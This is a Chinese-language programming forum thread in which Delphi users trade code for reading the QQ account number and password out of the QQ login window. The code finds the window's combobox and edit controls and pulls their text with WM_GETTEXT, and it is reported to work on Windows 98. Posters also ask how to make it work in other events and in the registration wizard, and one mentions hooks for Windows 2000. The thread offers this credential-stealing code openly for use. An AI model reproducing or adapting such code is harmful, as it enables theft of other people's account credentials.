新手不妨看看。。。 (50分)

var<br>&nbsp; wnd,hbutton:thandle;<br>begin<br>&nbsp; wnd:=FindWindow('#32770','QQ用户登录');<br>&nbsp; hButton := FindWindowEx(wnd,0,'combobox','');<br>&nbsp; If (wnd &lt;&gt; 0)and(hbutton&lt;&gt;0) Then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; sendMessage(hbutton,wm_copy,0,0); &nbsp; &nbsp; <br>&nbsp; &nbsp; end<br>&nbsp; &nbsp; else<br>&nbsp; &nbsp; &nbsp; showmessage('None');<br><br>end;<br>^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^<br>请问怎么取的号码？？？<br>我尝试了sendMessage(hbutton,wm_copy,0,0); <br>的几个参数还是不行。。。。。。。。。。。。 &nbsp; &nbsp;

在2000下不行

把combobox改成edit<br>把wm_copy改成wm_paste<br>后就可以把剪贴板上的astext复制到QQ的密码框了<br>……<br>问题是我现在想取的QQ号码<br>如何取得？？<br>

2000下只有用钩子太能取得密码，98下到是很容易做，CSDN上有代码，自己找<br>还有啊，不要总是做这种事，没有好报应的，<br>

我是新手，，尝试出来了~~~~~~~~~~~~~<br>提供出来仅仅给新手看看。。。。。<br><br><br>var<br>&nbsp; wnd,hcombobox,hedit:thandle;<br>&nbsp; content1,content2:array[0..255]of char;<br>begin<br>&nbsp; wnd:=FindWindow('#32770','QQ用户登录');<br>&nbsp; hcombobox := FindWindowEx(wnd,0,'combobox','');<br>&nbsp; hedit := FindWindowEx(wnd,0,'edit','');<br>&nbsp; If (wnd &lt;&gt; 0)and(hcombobox&lt;&gt;0)and(hedit&lt;&gt;0) Then<br>&nbsp; &nbsp; begin<br><br>&nbsp; &nbsp; &nbsp; sendMessage(hcombobox,wm_gettext,100,LongInt(@content1));<br>&nbsp; &nbsp; &nbsp; sendMessage(hedit,wm_gettext,100,LongInt(@content2));<br>&nbsp; &nbsp; &nbsp; if content2&lt;&gt;'' then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; memo1.Lines.Add('号码：'+content1);<br>&nbsp; &nbsp; &nbsp; &nbsp; memo1.Lines.Add('密码：'+content2);<br>…………………………………………………………<br><br>delphi6+98通过<br><br><br>

拷贝之前现全选Edit框的内容Sendmessage(from句柄 ,EM_SETSEL,-1,0);<br>Sendmessage(from句柄 ,WM_COPY,0,0);<br>Sendmessage(To句柄 ,WM_PASTE,0,0);

能说一说这个是在那一个事件中用这行代码的吗？我用过，好象不行哦，

var<br>&nbsp; wnd,hcombobox,hedit:thandle;<br>&nbsp; content1,content2:array[0..255]of char;<br>begin<br>&nbsp; wnd:=FindWindow('#32770','QQ用户登录');<br>&nbsp; hcombobox := FindWindowEx(wnd,0,'combobox','');<br>&nbsp; hedit := FindWindowEx(wnd,0,'edit','');<br>&nbsp; If (wnd &lt;&gt; 0)and(hcombobox&lt;&gt;0)and(hedit&lt;&gt;0) Then<br>&nbsp; &nbsp; begin<br><br>&nbsp; &nbsp; &nbsp; sendMessage(hcombobox,wm_gettext,100,LongInt(@content1));<br>&nbsp; &nbsp; &nbsp; sendMessage(hedit,wm_gettext,100,LongInt(@content2));<br>&nbsp; &nbsp; &nbsp; if content2&lt;&gt;'' then<br>&nbsp; &nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; &nbsp; memo1.Lines.Add('号码：'+content1);<br>&nbsp; &nbsp; &nbsp; &nbsp; memo1.Lines.Add('密码：'+content2);<br><br><br>不明白啊，这段代码加在什么事件里才能取得完整的用户名与密码？

如何得到注册向导中的号码和密码？